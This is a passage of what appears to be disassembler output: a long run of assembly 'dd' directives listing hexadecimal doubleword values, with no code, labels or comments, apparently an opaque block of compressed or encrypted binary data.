		dd 5FF80039h, 4995A00Dh, 3A88D4B1h, 0A8260217h,	8E0FA358h
		dd 30ADAA3Fh, 96400604h, 0C263F481h, 20143211h,	24401DE0h
		dd 3D861EB3h, 17AEC14Fh, 82A82201h, 0AD093C9h, 0E00206BAh
		dd 9CCDF84Eh, 0D60F5888h, 473F3781h, 30631C4Ch,	5210C44Ch
		dd 1BF74050h, 0ECA0D675h, 7F5E0FCBh, 3D23A02Fh,	6E0BF300h
		dd 209011h, 3D062EB5h, 847EA28Ah, 0C0861227h, 0F1D71C24h
		dd 4636871h, 7BC2043Fh,	697A11E7h, 0BDF64F4h, 83CFA93Eh
		dd 66F85440h, 0C67B2284h, 0EE78FC9Bh, 82100020h, 3CCE9BD5h
		dd 2CE64AA6h, 8EE74C99h, 64C8474Bh, 465A6138h, 65D4D840h
		dd 7DC9FC11h, 0E67028FDh, 50A522FCh, 30CB2926h,	2B259041h
		dd 4E22283Dh, 0E6DE8400h, 86288813h, 4554AC96h,	0B8212B35h
		dd 7DD8E1D6h, 4D74064Eh, 3893CBF4h, 91BD8721h, 0A620549h
		dd 0D03837EAh, 33604527h, 3026A2CCh, 0D60F3BFh,	406D1969h
		dd 0DE540035h, 0ECEE1F3Fh, 88A1187Bh, 0FC19F6F5h, 0E11C5910h
		dd 139920C4h, 422BC32h,	9CA0C989h, 0F4919B0Ch, 7A1838F9h
		dd 68F47800h, 356C975Ah, 88C364D5h, 0A284C1FAh,	0DE05003Ah
		dd 71133814h, 1909F8C8h, 30F8BCA8h, 0A4A0AEECh,	6A899AA4h
		dd 0D42795F5h, 0D71F2122h, 852F7A82h, 0FCCC2610h, 0BF123888h
		dd 1B79F03Eh, 585772E6h, 6B2096E2h, 0B87A6ADBh,	8266FAA8h
		dd 0C0961840h, 0FDF02384h, 0E4084525h, 0F90F6227h, 1839D1C0h
		dd 222E000Fh, 0D7CC7513h, 84509B79h, 8CBC4BF8h,	22031781h
		dd 0C42331A4h, 4FB5CC4h, 0E8ED0106h, 674C814Bh,	0B0FD02D2h
		dd 0A9077FCh, 5D5F1E78h, 0AEE40B98h, 233C2499h,	0E2844268h
		dd 11243028h, 0A086F48h, 0D84E77E7h, 169CD408h,	0C6782972h
		dd 0C4F958A9h, 16D56009h, 9D9B26D0h, 5DB91683h,	0E6CC4084h
		dd 7296BFD3h, 4C8F0E2Eh
		dd 2415FB02h, 0EF804885h, 20F625h, 546DA101h, 2B432E4Bh
		dd 5F569100h, 58817E4Ah, 0D19E1EDEh, 52AB8374h,	0A02C3B20h
		dd 460FC19h, 0BCEF7C9Bh, 22B580ACh, 569FFCB2h, 21A19000h
		dd 3AE198A3h, 40432CAAh, 578C08B4h, 32887D02h, 0F6287611h
		dd 0B1D10C1Fh, 0F42D0E03h, 0ADE7F115h, 0C2C36060h, 693EE0A1h
		dd 0ED6A67E0h, 0F3AE650Ah, 3281A803h, 0F74CA7F6h, 14186F0h
		dd 296152CBh, 80D4E7BCh, 3A78E69h, 7FF5E875h, 82600D2h
		dd 6335E066h, 8C028F74h, 0FF11E19h, 69C0E067h, 0A88912A9h
		dd 11C0E002h, 7101F430h, 6B52FDh, 98F139D3h, 0D2C61799h
		dd 3738EF07h, 8C554BA3h, 603AA44Eh, 51E2972h, 382E00E9h
		dd 8BA7AA2Dh, 700E3B4h,	723D627Fh, 0EE611B55h, 806C000Eh
		dd 0AFF48B44h, 0FA4F25D0h, 1F122C56h, 0E49010E8h, 0AD144920h
		dd 23BC9F46h, 0A640145h, 18632656h, 6CE188CFh, 8AEC0A07h
		dd 77802498h, 24AC169Bh, 80781286h, 9F782F46h, 5F3F0509h
		dd 7F82BFF9h, 0E3F43F50h, 2894EC99h, 43E100DCh,	8DBD2064h
		dd 2B1938C4h, 70A3E7AFh, 14D8A69Fh, 0FEEE7176h,	7A6EC100h
		dd 5A252489h, 329901BCh, 706AAED8h, 64D88140h, 90397A88h
		dd 27A08030h, 1C645092h, 8EFD941Ch, 0B82E5E01h,	46BF7C2h
		dd 9B6C5C78h, 0C0C98848h, 9B36CA35h, 7820F516h,	52E20A09h
		dd 336A001Ch, 7399597Eh, 71050222h, 1452044Ch, 0B8AB08E0h
		dd 6B950E64h, 106FDB1Dh, 8C510EEBh, 4F18D679h, 27095BE0h
		dd 18B00F61h, 5AB36508h, 16F8306Bh, 61774D6h, 14CA36DFh
		dd 0D5DEBE00h, 715EFF54h, 465CB094h, 0F4750227h, 700D2A04h
		dd 0B0260938h, 7840FF44h, 10B8D350h, 0D458BEh, 0F87B5DE9h
		dd 7CB78179h, 0AD5CFB0Bh, 11F09DFCh, 69B281D7h,	17FCA63Ah
		dd 581D00ACh, 4F5010C5h, 454C6713h, 0CBEF26DCh,	86CE30Ch
		dd 0C27F5A09h, 1410AFB0h, 0DD2A00A6h, 751E5E37h, 8156FC1Dh
		dd 8F840C0h, 93C83548h,	0B9E0D4E6h, 0BD7BE658h,	200006FCh
		dd 621FD5CCh, 9C1C9DC8h, 38C24F70h, 3440198Fh, 0D02DAE8Dh
		dd 0E820C3FBh, 9C687C1Ah, 0A1D2885Ch, 0C8AEF10Ah, 4008CD25h
		dd 72AB55ADh, 0A3FEFD00h, 1278BCE1h, 741748E7h,	6FF4A041h
		dd 3FF6758Dh, 47924EC0h, 0F24FC7Dh, 0C7AA6828h,	3F940A9Bh
		dd 1B981A01h, 6C022F6Fh, 103BA612h, 0A44E7D06h,	0DFD68844h
		dd 5E84F8A2h, 19780517h, 392750E8h, 0D23D7891h,	48488209h
		dd 88AF002Ch, 84A2FD31h, 9379F8F9h, 2C00D218h, 1B49D376h
		dd 98755BBEh, 4CA9482Ch, 0C9E8B448h, 0C3FE1F8Ch, 92BDC038h
		dd 0E7B01219h, 0A8057F28h, 3CCE439h, 0BDDC7539h, 1CC2CDF9h
		dd 24712B9Ah, 0A1357D00h, 1B5FBA9h, 0FC1A267Bh,	249052A4h
		dd 70B87400h, 0ADE47007h, 0C59105FEh, 28AF4ED3h, 96911017h
		dd 3CC6B080h, 7A09AA77h, 40A8C826h, 12CEF68h, 85609FFDh
		dd 924B1472h, 104E3781h, 0C01F03ADh, 20F4AC18h,	783D4006h
		dd 74884C5Bh, 90194E90h, 0CF184B1Ch, 0B849C40h,	0B9CB2A73h
		dd 88088871h, 18950207h, 1051D2E3h, 13209A1Dh, 80C20284h
		dd 6A0A333Ch, 0CC4F55E0h, 206084C6h, 0E75AA3EBh, 0D8FEECD3h
		dd 0F3F052h, 74088202h,	6B68C113h, 9049F44Bh, 300D800Ah
		dd 0B5098312h, 5C7E7018h, 0C241E804h, 64E8D8D7h, 98CD8ECh
		dd 49489C78h, 39902C82h, 431D420Fh, 380475F2h, 2BCA315h
		dd 847D6451h, 60D0716Bh, 2C644989h, 0A17E3900h,	0A08636A3h
		dd 9A68A0B0h, 0C0BE4E12h, 0F4AB0530h, 33D078C4h, 0FC0C0802h
		dd 31CFAC86h, 0EF0B7B5h, 2240B5D0h, 0C64F29F3h,	0E601C089h
		dd 6DEC250Ch, 43FB848h,	0FC68D1Eh, 0F8D0C16Ch, 0B0303AB0h
		dd 17E67890h, 0A12E39CCh, 486C630Ch, 0F8047FA3h, 686C651Eh
		dd 9D1A4088h, 94702C10h, 8C0C6300h, 0CAA12A11h,	0D7E40034h
		dd 71B3866Bh, 184E1C90h, 9DCAC88h, 0F7CA33F6h, 8CCB4C81h
		dd 5E05009Ch, 0FD5F0596h, 0B0B697A0h, 7A104C74h, 710E3D4Eh
		dd 0A7131FC5h, 868D0088h, 4FB8349Bh, 0A33F0C02h, 82A9AB96h
		dd 1F27E012h, 0E71AF81Dh, 5E7CD689h, 93003D46h,	45AD090Eh
		dd 0CC00C94Ah, 69EA9C08h, 485F95CAh, 482204FBh,	0BC0194E2h
		dd 6A0154DAh, 0B7D684F7h, 0D7E3003Ch, 55CF1C0Ah, 0A6205302h
		dd 6899D0DFh, 29A3E718h, 11CC3CA9h, 0C80D0082h,	0AF67F501h
		dd 206B2C70h, 377C0BE3h, 0A00A9C7Ah, 5002F2D9h,	0E3C5C481h
		dd 58832726h, 8DA0A81Fh, 32886804h, 14A1531Eh, 7946B6Bh
		dd 1F51F66Bh, 60E02661h, 59249034h, 61E6CD6h, 0B53FD26Ah
		dd 2DDD908h, 0DC5329FAh, 0A38D70h, 9252F668h, 7F06D5ABh
		dd 8614A5B7h, 0BF20A4h,	0AB3A8E6Eh, 0DEE641C6h,	597A6000h
		dd 0CA2F2317h, 1E78B9C2h, 0ED76C777h, 367BF0B0h, 86135E01h
		dd 0FCB34FFEh, 743027B2h, 8A242831h, 0E0DD0074h, 5D26376Eh
		dd 4E0020EDh, 0B356EB40h, 164A55B7h, 53437C7Ah,	4264C820h
		dd 0A1B6B401h, 0D422DF9Eh, 0A82002D1h, 155681FCh, 0C2E0CCF6h
		dd 0BF05A039h, 1BE4D794h, 1A2430E9h, 52B24EB8h,	23C03ACCh
		dd 98943832h, 0AB0985D7h, 493188Dh, 59135EA3h, 10D30806h
		dd 0B888E4AFh, 3CF153C0h, 0D13033A2h, 68D0E61h,	83C040DBh
		dd 860F1987h, 0D3E11460h, 16E3D2h, 5CB87347h, 863F6210h
		dd 0F9212960h, 6D43B6h,	0F69F9C68h, 0BDACD6DAh,	0F3016372h
		dd 0E018B00Ch, 6F3A7E19h, 907600B4h, 3AE3C9D2h,	0CC164824h
		dd 858A931h, 0A69020E5h, 496E7B0h, 0D5162901h, 0F2A4A79h
		dd 32A56A00h, 0C18B0C9h, 972A9CA4h, 534C8431h, 8F3B1650h
		dd 0F40E8891h, 1B9FE600h, 108008B3h, 0F1C64877h, 0C8D95FADh
		dd 9B884328h, 86670925h, 0A309A731h, 2C962C50h,	0CC465Eh
		dd 304C6EE1h, 5EAA478h,	74520636h, 5F6CD105h, 6CC89188h
		dd 80909B4Eh, 1C139E3h,	257098A8h, 0D8A254D2h, 240194ECh
		dd 3B3BB306h, 922394h, 5EE19A9Dh, 3403C880h, 9C249BF6h
		dd 60D660BFh, 6FB47E69h, 0BB7C7D01h, 0C77A0612h, 6013FF01h
		dd 0CF40A3D4h, 0C47CE44Dh, 12DB1A8h, 0AFE8A81Ch, 4AEF311h
		dd 0FC6444E8h, 0F900B15Eh, 22F4601Fh, 0AFD450F1h, 0DF608418h
		dd 0F4AD0558h, 0C709940h, 5981A6E6h, 6171387Fh,	0EC7FD802h
		dd 7404AFF7h, 9B5896A4h, 93948060h, 9BACC7h, 5A12D6CCh
		dd 32827AA7h, 0A33F152Dh, 488C68ECh, 2104B269h,	0C88BB654h
		dd 6007DA9Ch, 0FC2AC01Eh, 0F0F39BD0h, 0DC7C3Dh,	2D1BA5A9h
		dd 77FEFFB0h, 1DE51E26h, 95EF403h, 84A08C96h, 54458895h
		dd 8229C305h, 0B4B00E12h, 6D4045Eh, 8E528C40h, 0C03D882Ch
		dd 0E223658Bh, 912CEA00h, 0C229C05h, 12F41B74h,	7AC828FDh
		dd 70CB4ACAh, 0E434C510h, 3E2E6022h, 246412E7h,	0A6F40B1Bh
		dd 0ACBB38D0h, 220C970h, 4A04683Bh, 107240E0h, 0F1A6BA21h
		dd 3E9A188Bh, 56848D7Fh, 0E4274929h, 0D840C074h, 2840B847h
		dd 70387B20h, 0DF61F6Dh, 0CA210037h, 67E9BC4Bh,	0EF0763FAh
		dd 1F32468Eh, 89662A77h, 8DB01251h, 62180370h, 9A88B7D0h
		dd 174576C6h, 0E56CA9F3h, 3780882Dh, 3E095615h,	8A84649h
		dd 2414FC8h, 0E2527A88h, 0EB6128F8h, 0EA56D410h, 12070E10h
		dd 4C323541h, 80B81C0Bh, 2A8238E0h, 5940F930h, 80AF90D0h
		dd 642D3F9Ah, 0E0B04D2Bh, 35BA4E2Dh, 0AF86453Dh, 78AC60FCh
		dd 83ED0ECCh, 9D44CA32h, 8800A816h, 44524397h, 0C668E4CDh
		dd 95FD440h, 0CED01418h
		dd 0FD5688E1h, 7C2D6E08h, 2664D02Bh, 0D1D3F8A8h, 1922348Ah
		dd 0C8A05F3Ch, 469849Ch, 803834C7h, 0BC89270Fh,	0EA00F545h
		dd 245E3E4Fh, 959664E0h, 2E97A811h, 84F23C8Ch, 98417E21h
		dd 0D9A099FAh, 1160F148h, 0D0050DACh, 0FCF8980Ah, 0B42A223Ch
		dd 32B47C8h, 56E01FE2h,	840EA3F7h, 0AA819F1h, 0AC4AE498h
		dd 0FDC1A041h, 0DA20176Ah, 0C683C0F0h, 4E253972h, 6620000Ch
		dd 1786D182h, 110629C0h, 0F871B042h, 6CDE3ACCh,	0AE0FCF0Ch
		dd 0A795F251h, 1D17E774h, 0FB73F190h, 80825C64h, 6DCFDE01h
		dd 7E7D5A31h, 765FF841h, 0CCECE6BBh, 0B4C94A29h, 700559E0h
		dd 1B5D5C3Eh, 2723682Eh, 2AC6A09h, 0C44BE5ECh, 3FDC4548h
		dd 1828ACCDh, 138CD8BCh, 8278A679h, 0ACD4FE50h,	8374352Dh
		dd 18941146h, 0D486385Bh, 0C4120290h, 6550E936h, 0B3D5B8A0h
		dd 0D401CCEBh, 0B8BBF496h, 0E08BE51Ch, 90C73F85h, 7B60CF64h
		dd 0B775BE59h, 4F93BC03h, 0E7F92E79h, 123B3360h, 72601CC8h
		dd 0B4551750h, 5F129458h, 0D0F45203h, 882010ADh, 487051DDh
		dd 845CD5E4h, 6027261Ah, 957042h, 2AB58360h, 1081CB2Dh
		dd 8040AC0Ch, 0FF0249D8h, 937D9B69h, 8FFCE1E0h,	62803051h
		dd 0FE2CB472h, 0FC970898h, 0A4346907h, 44C4C619h, 6300619Ah
		dd 0B947B553h, 3D444DB7h, 5858E5Ah, 0C5262EDEh,	0ECEC4944h
		dd 0B59DC4C4h, 6088000Ch, 0AE1AAF86h, 0D7F2B813h, 15BB0C44h
		dd 4A1F54C2h, 7940D1A8h, 12B318D7h, 0B078A7A4h,	0CF068D84h
		dd 0BB82981Dh, 0E7772710h, 2F7288C8h, 14EB7512h, 55CC60BCh
		dd 0D05F9F0h, 8664500Eh, 0B12AF890h, 29E38045h,	31FDCC30h
		dd 2F94BB05h, 0EC6D9B4Bh, 8C47BAC0h, 51F60164h,	1C682404h
		dd 2660F0E7h, 3CE027h, 0C71612B4h, 5E7D13B6h, 9B38237Bh
		dd 3ADE7E8h, 0E0E62A13h, 0C0C9A45Ch, 1FFCC18Ch,	2E001833h
		dd 1DEB7DD9h, 0BB4F87E0h, 40C8288Eh, 0F25E53C0h, 0C9D15A79h
		dd 0E9E00C34h, 8A5E1A42h, 0C0D5C80Ch, 9C92ABA1h, 151E1217h
		dd 0CFE01042h, 971D00B9h, 9A118F02h, 5C481CE6h,	0BACD010h
		dd 6A7F7CAh, 0BEF95B64h, 89465E20h, 0EF8C6C00h,	86D81629h
		dd 0A33044h, 6ECD5520h,	0AD33DAA6h, 2919070Eh, 9896084h
		dd 4A9418B0h, 0C85C8EEBh, 59D0C08Ah, 10B74086h,	82C167C8h
		dd 22F0B00Eh, 8F69019Dh, 0F3A387B2h, 0A4203FDDh, 127E11FAh
		dd 0A0B84AFCh, 6C01C3D4h, 8243B695h, 493AFE12h,	0E8265A80h
		dd 0B7B5717Eh, 0B8C80010h, 0F39A29B7h, 23890660h, 162B0F5h
		dd 7AE2736Ch, 0ECFE86DBh, 47F6D915h, 1C590600h,	1FC6FCFFh
		dd 586C49C0h, 99E78E0Ch, 29014FE1h, 565F8736h, 61E0A163h
		dd 801D5E24h, 6ABA34E4h, 4E66EC3Dh, 82F06448h, 0CD0E8893h
		dd 9BA090E8h, 848D08BCh, 446A9E0Ah, 99624E0h, 300546Ch
		dd 36320A9Ah, 0E891205Fh, 78339E22h, 0FB3024F2h, 381400F3h
		dd 7ED20ACCh, 6401BF61h, 8465EC01h, 7193752Ah, 3BCCC909h
		dd 3E23542Fh, 7EE30E07h, 1D6479DBh, 0EE98474Fh,	6881D145h
		dd 0A28630CDh, 0ACEF1E00h, 30792050h, 8123A75h,	0C863F197h
		dd 3C409230h, 1098121Ch, 12D081A1h, 5C026ABEh, 0C4EFFBB0h
		dd 0DEA60050h, 982C343Ah, 380023E4h, 0FF472F7Eh, 41D78F1h
		dd 0CA64A1A2h, 0B324B432h, 0D920D490h, 695900AEh, 1C0FDDD5h
		dd 41247FAh, 0E0CBAB90h, 1EC032C8h, 5F4B87Bh, 0C3230378h
		dd 0B9B0B4F3h, 0E3923B1Ch, 1837DA80h, 0F40980h,	5482FB21h
		dd 950438FDh, 88B3D14Ah, 3A4691Fh, 4B0F1377h, 66014979h
		dd 761DAD31h, 4FD9D041h, 26231C60h, 986C1F2Ah, 861BF8E3h
		dd 13F07D5Ch, 8CA5AFA0h, 88A64430h, 92059ABBh, 0AB84325Dh
		dd 94EC8112h, 81047A85h, 62E67FF3h, 620E025Ch, 0DD4069ADh
		dd 917EAC98h, 6C47300h,	0B65A9BCEh, 2ECA2DC5h, 97ADB8D9h
		dd 80279160h, 0D12AD5Ah, 24A38B0h, 841B5E02h, 5CE4567Ah
		dd 3C7FE12Eh, 1234A23Dh, 0A2DD5D18h, 5BA7225Ch,	53989024h
		dd 1E1FC738h, 30D7C604h, 0D8988885h, 0D1F1072Eh, 0C54979B3h
		dd 6F381309h, 0B7520B2Ch, 705949h, 0A11EF72Ah, 9A3D127Bh
		dd 0E6EB0011h, 71FB41D3h, 93520AD5h, 1E58CF2Ah,	38404B04h
		dd 15E307Ah, 418C108Ch,	1D8C79A6h, 1C2AFAD0h, 0E78C48F3h
		dd 0A522C143h, 24F18458h, 0C889AC3Ah, 41D4E2F0h, 88541910h
		dd 0D0002CECh, 407770E3h, 260B48F2h, 1A7C0E6Dh,	0DC0456F4h
		dd 0C4AB4Ch, 5E520835h,	9311C5Dh, 466F1633h, 45189485h
		dd 0F19E24D0h, 0D8C82E40h, 1C2600CDh, 907986FEh, 280015F5h
		dd 0A63E6758h, 1935CED5h, 0D9FD06C5h, 748E2A93h, 0BEC23BC8h
		dd 0D4A8827Eh, 9330F34h, 8458DEE8h, 94B6308Ch, 303D4656h
		dd 0F7C39617h, 88C54BBDh, 0C6006648h, 569B3479h, 12977222h
		dd 50C6C5Eh, 0B4A313C0h, 4E4054E4h, 88885BF3h, 3C4042F4h
		dd 0F1910210h, 36686A7Ch, 6D09CC71h, 0D9A85917h, 76118CFh
		dd 2442C5Ch, 215F5008h,	0B9C02E86h, 361C9BFDh, 1F183A11h
		dd 0FC7D5B04h, 3420EB65h, 304AA648h, 7290618Ch,	730083B8h
		dd 21CF8190h, 17842B13h, 0F29988F9h, 318BF260h,	640C306Dh
		dd 16196340h, 8EF26720h, 0C098C848h, 8C957462h,	8504693Eh
		dd 0ECF6D0B0h, 0B852C044h, 0C790F4h, 0AF2F7D35h, 80982647h
		dd 0C8D488BDh, 718EA08h, 4CC097AEh, 2AE11F18h, 93884CCFh
		dd 563E3CE1h, 0D581A0FBh, 19F20921h, 54DE4FE0h,	50374F6h
		dd 0D093DED1h, 41CF806h, 0F9AE0554h, 0AC291CBDh, 1897D95Ch
		dd 1316F4C4h, 159FE42h,	866E75B8h, 0E8883B49h, 90D240AEh
		dd 9BE9702Dh, 0FE882C04h, 0FA81D30h, 88C99CDAh,	6B08C6Bh
		dd 0F00FFAEh, 0E1247E69h, 721E6ACBh, 172F2D7h, 18B0154Fh
		dd 7BF612FFh, 0D4A7B004h, 9913C200h, 62078324h,	0C711BED0h
		dd 0E053EB10h, 7F102EF7h, 3C850824h, 1A04B2B0h,	0D4829F28h
		dd 9377C445h, 6DAC088h,	0A24B5E7Bh, 8A4472C4h, 19A5096Bh
		dd 0ACF02EC0h, 0E0321C86h, 0A2073086h, 0D66B4CE4h, 0DD900870h
		dd 4C32FD0Bh, 6090B434h, 0E027CE56h, 38FB0829h,	0A0E0A8A7h
		dd 128B2609h, 7810405Ch, 0E01C8040h, 4C63B05Bh,	9FF9967Ah
		dd 25C84840h, 51296825h, 20AD86E4h, 426A184h, 0AC22C73Ah
		dd 1588C895h, 57FDE984h, 0F64C204Bh, 7241D630h,	0E1833874h
		dd 16ABAE8h, 0D973AC54h, 32A84403h, 9082A070h, 0D4DBD4C3h
		dd 50296608h, 0CD09360Ah, 9D75F635h, 85D21180h,	8A05E14Ah
		dd 84F9793Dh, 4CD84500h, 783FB4DEh, 6C05AF01h, 0CA2A91A4h
		dd 8A80DC38h, 11E38268h, 49456203h, 4FA01Ch, 0BF550ED8h
		dd 0FF969AE8h, 0D804323Ah, 0E4206090h, 3DC545C7h, 2D89D805h
		dd 0F0F1CAEh, 7AD903BDh, 0A1009C34h, 0DB5E137Ch, 5195E0h
		dd 721F38FEh, 8E7F6BFCh, 3D304749h, 71DC80D6h, 0C4641055h
		dd 80A25E3Dh, 832A89A4h, 6A3090BFh, 0AD3940B8h,	3DE30C09h
		dd 0B034521Ch, 74C77CE0h, 1ECB00D3h, 15197FE5h,	0A80C0789h
		dd 49FE1251h, 0C284A2FDh, 0D5841050h, 13CDE658h, 4CF595A3h
		dd 97105584h, 8D9C2097h, 0A2CE589h, 712490C5h, 0FE1742B4h
		dd 6D2328B4h, 738CE1FEh, 22588819h, 39948018h, 3AECD1B9h
		dd 58A43F3Ah, 28D05E94h, 15892519h, 4026918Dh, 0FC4AD7A2h
		dd 1800D4C4h, 0A8045F4Eh, 1888CF79h, 9155DDE8h,	2C9C6E24h
		dd 0B0F53612h, 853CB5D2h, 42F19CA3h, 6F3C62A4h,	7841D4A9h
		dd 3431A1ABh, 85FDC458h
		dd 0B80479C0h, 0EB60034Eh, 86247D42h, 6E46D100h, 0A5054FF7h
		dd 0E7821458h, 0AD744869h, 0B0C691BCh, 0C7D1D52Ah, 46B15678h
		dd 0FCA2209Fh, 989ED0DEh, 21903930h, 5B61CA2Dh,	88271054h
		dd 0BB7B812Ah, 3F08069Ah, 0DC89945Fh, 2CC0055h,	0E2B7EF62h
		dd 4FE60771h, 0C9FF561Dh, 66AC7001h, 74D8FED7h,	0CA813E60h
		dd 0F9ADA4CEh, 0A4342058h, 818619BCh, 244E3051h, 8C1939Ch
		dd 88157BCFh, 6DC4F1h, 0E34C2405h, 42BAE1Ch, 61A2E2A1h
		dd 88C1C19Ch, 8A93108h,	21088283h, 76D70856h, 1E40B008h
		dd 4E2060ACh, 0C6DD2052h, 2099DF20h, 0CA20CC3Ah, 621E20E1h
		dd 0F314BF1Fh, 104C410Ch, 89E6203h, 0EB0373C6h,	8C39201Fh
		dd 31BB9C20h, 1B082785h, 10540394h, 106EB061h, 0C918A14Bh
		dd 780708E3h, 80540C80h, 8280AC6Eh, 65EC80B5h, 81418F80h
		dd 56F198DCh, 80D80A91h, 2981D255h, 0A0AE8C51h,	19198D03h
		dd 7BD95942h, 99B20898h, 0CD80C0EBh, 4351808Dh,	29CF283h
		dd 130298FBh, 665B0297h, 0B444EE05h, 6105DC35h,	0B980A7Dh
		dd 31E7A690h, 88796008h, 18865818h, 83C0095Fh, 59887D81h
		dd 0C108B78Dh, 0EDE60CF3h, 6880EEA1h, 0DEA380CBh, 870E9C8h
		dd 0E2088E8Ah, 0A2210888h, 8469B08h, 4408E6D9h,	8FFD082Eh
		dd 9164A60Dh, 52D05988h, 339C6215h, 1903E94Ah, 89A80C9h
		dd 4F02C698h, 24C80FABh, 7F592B18h, 0D4BC804Bh,	8096DA80h
		dd 8C8077FCh, 0C84380B2h, 81885881h, 0F2085B96h, 0C43C0D22h
		dd 2A399191h, 0DEA90A31h, 0BBD40167h, 90DA7E01h, 0A838D119h
		dd 6840DDC0h, 37F54076h, 401A9540h, 81CADCD2h, 0C499CC6Dh
		dd 9C514C29h, 0CE01ACA4h, 0CCCA01C0h, 2211001h,	0C4B8A2B6h
		dd 89E003AEh, 0D96CF933h, 0E4912028h, 87AD824h,	8A77808h
		dd 0E60856EBh, 1F4A08B4h, 15330808h, 8210F0F7h,	0CCE32A26h
		dd 33EC6420h, 79507E53h, 88B9912Ah, 20547D20h, 3920CE02h
		dd 596865F3h, 0F7B44CFCh, 0F2645029h, 0A304B111h, 84D486Bh
		dd 5083E1Bh, 71CB186Ah,	0D1806E63h, 889581E5h, 87B2341h
		dd 0CD15EE18h, 0C78F19D0h, 7003A429h, 25B806ACh, 9DC1C409h
		dd 840B042Bh, 8CA00C0Ah, 0AD085EE3h, 0D36190E3h, 109E7910h
		dd 5230399Fh, 1B4F5F69h, 80A4EF4Ch, 160A2E60h, 1B0947Dh
		dd 0FED221C8h, 92108073h, 5587BF48h, 93D702E4h,	0B276A38Eh
		dd 9300C46Ah, 97A9E7FEh, 0D39C4600h, 831FF8E0h,	1C9B052Bh
		dd 8DEF4AFDh, 0F09860B8h, 46CBA301h, 0E30232AFh, 309C9BD0h
		dd 5991FC23h, 2B193B26h, 0FA18622Ch, 369F0610h,	79D82006h
		dd 1E50058Ch, 0CDA8467h, 9B102AFDh, 0E6240E50h,	0CC4E59h
		dd 0FB2B87B0h, 0CF4BAA10h, 0E6023398h, 0B014A1Bh, 4080709Fh
		dd 269B6393h, 490024F8h, 0BE5717FCh, 39DD42Eh, 0CC1887C0h
		dd 9A8946EEh, 9BF4F04Ch, 61C79E03h, 12140E24h, 80D06730h
		dd 2B2326C4h, 723E357Ah, 0F96E0249h, 0D85AE64Bh, 26F40030h
		dd 36D7AE2Bh, 466E6F24h, 10F20C40h, 0C8EE6064h,	6877E7Fh
		dd 6F4A0518h, 0B60B2E38h, 0C12486C4h, 0F8063834h, 267BF493h
		dd 3ECC0018h, 482F2B62h, 30019DEh, 0C5C169Bh, 30F3A7E3h
		dd 51287169h, 0CA26DE3Bh, 0F409805Ah, 0C800C308h, 71F3A23Ch
		dd 0C10C0C3h, 0F5DBA4DEh, 0C186FD0Ah, 0EC80B8A9h, 3A78A07Fh
		dd 1F7CF87Eh, 7ABA16Dh,	0C0E5FB5Ch, 0C610E6DAh,	55D3B9C4h
		dd 6E380642h, 79DFE081h, 0F828D637h, 1236CFC0h,	40B20316h
		dd 4B94E688h, 0EDCE480Fh, 0A5A60674h, 0F4150B10h, 7CA1067Eh
		dd 0A045A23Eh, 0F483DDF0h, 81007BE3h, 0C0BBF6D9h, 33B678Dh
		dd 0FA64ADE5h, 99F090E6h, 242AEAAEh, 3BE0E4E7h,	5900B8E2h
		dd 8BFA7516h, 2E24BEC7h, 1FD8AD1Bh, 85EB810Ch, 3164E6h
		dd 0F07FF7B3h, 71A26B02h, 830AF8D0h, 8899381h, 6E3ABC01h
		dd 0AAC18678h, 0FC0BF988h, 567D00AAh, 0CA62C702h, 459BA23Bh
		dd 0DE840284h, 446DC21h, 201FFE24h, 2C131C2h, 0E080A2A3h
		dd 6DCAD58h, 542F1018h,	602586A0h, 746640D2h, 0F8B46E7Eh
		dd 0FC0C9581h, 0A0412B28h, 50097DFh, 0C4F055AAh, 956203Ch
		dd 2E783B06h, 0AC02B29Ch, 604C2B13h, 943CCCCCh,	120B9F9Ch
		dd 83B037A5h, 113C6435h, 0DE860833h, 5AD139Fh, 3AE051Ch
		dd 748C0BE0h, 53F3180Ch, 6C79E8B6h, 0A1800831h,	3E710500h
		dd 2924147Fh, 7E80A04Ch, 0B4BB1779h, 581D1C83h,	0A2693062h
		dd 243BBC06h, 30285698h, 10C970E6h, 0CE03F018h,	3A9C36C2h
		dd 98609816h, 3F1400DAh, 9B407C7Eh, 1B06EE48h, 3B647D22h
		dd 247F0A11h, 82CCE835h, 0B76F36BFh, 0E0C7D491h, 7095FBCAh
		dd 18A37808h, 20A076F3h, 0EC500B1Dh, 9206FE88h,	0AE4068F4h
		dd 0A70428A8h, 6DAB24E0h, 11937144h, 0FD00AA5Fh, 0CE3E645Dh
		dd 1CA051ABh, 91336FC4h, 40F791D1h, 28E60858h, 801FF0h
		dd 470DD521h, 4A7C7A5Fh, 0A2446A00h, 24942D37h,	0F0C63A51h
		dd 0B00D0B15h, 69146824h, 0D286B801h, 18C83440h, 0FE016491h
		dd 0E4CC7D7Ch, 86080422h, 78057942h, 88048382h,	7F03681Dh
		dd 1CF86FA2h, 9B4B865Dh, 0A00641Dh, 8BB1D183h, 0F4AC13FEh
		dd 7208C337h, 9C9CC3BCh, 282048EEh, 0C3200085h,	0F189C914h
		dd 2D06975Ch, 82E7CB10h, 0A4022029h, 617E7D02h,	87AA9DF7h
		dd 79932DECh, 7F1100FCh, 0F3A43DCAh, 30C02F86h,	0ADA3D65Eh
		dd 0D4C550AEh, 711F2824h, 0A0565888h, 4FA6C807h, 2CBAC3C3h
		dd 20551814h, 40424C4h,	93A2E383h, 346D889Bh, 0C1733BE0h
		dd 0DDF70980h, 7D7E42AEh, 0E6AD1002h, 411D692Ch, 0B820D967h
		dd 348A9754h, 4F7A0300h, 0DCF0AB77h, 0CF3029A4h, 5F7F716Fh
		dd 2014B0C6h, 330F85D6h, 0A57CADD3h, 0B80E8418h, 8C08F665h
		dd 1E1C12DEh, 136740F0h, 6C810645h, 0D9146F12h,	78B01850h
		dd 0E2DB5000h, 92E5546h, 0FA580223h, 599C2428h,	0C650849h
		dd 431EC021h, 1186532Bh, 5F49649h, 60FC67F5h, 788C96h
		dd 2EC2E34Ah, 849E1663h, 0F414BC90h, 2B02CEAh, 0BF864DE8h
		dd 32C444Fh, 51B09D8h, 74D0B27Eh, 0F9E4D4F3h, 78BB59h
		dd 0D938E0F0h, 60EA866Bh, 247D384Dh, 54AC2907h,	5491BC82h
		dd 738C2008h, 8C09FE8h,	0FC8A059h, 55A62A68h, 1671258h
		dd 0DF644725h, 0F0D80C1Bh, 80627E29h, 9C0A1093h, 9A28804Bh
		dd 220C32EBh, 110462FEh, 1C66DA2Eh, 6E2064B2h, 1F6A0042h
		dd 2BCC14D3h, 0CF00BF40h, 0D1A1D441h, 16BBFE7Fh, 6E7CA7Ah
